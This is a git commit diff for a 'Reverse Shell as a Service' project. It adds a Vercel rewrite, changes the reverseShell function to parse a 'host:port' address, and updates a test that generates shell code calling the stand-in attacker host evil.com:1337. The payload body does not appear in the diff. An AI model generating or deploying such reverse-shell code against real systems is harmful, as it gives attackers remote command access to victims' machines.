Browse Source

Add Vercel rewrite

master
Luke Childs 2 years ago
parent
commit
5ee37f28e7
  1. 3
      api/index.js
  2. 4
      test/test.js
  3. 5
      vercel.json

3
api/index.js

@ -11,7 +11,8 @@ const usage = `# Reverse Shell as a Service
#
# 3. Don't be a dick`;
const reverseShell = (host, port) => {
const reverseShell = (address = '') => {
const [host, port] = address.split(':');
if (!host || !port) {
return usage;
}

4
test/test.js

@ -6,8 +6,8 @@ test('reverseShell is a function', t => {
});
test('reverseShell returns shell code with /host:port variables', t => {
const returnValue = reverseShell('foo', 'bar');
t.true(returnValue.indexOf('("foo",bar)') > -1);
const returnValue = reverseShell('evil.com:1337');
t.true(returnValue.indexOf('("evil.com",1337)') > -1);
});
test('reverseShell returns usage if host and port aren\'t set', t => {

5
vercel.json

@ -0,0 +1,5 @@
{
"rewrites": [
{"source": "/:address", "destination": "/api"}
]
}
Loading…
Cancel
Save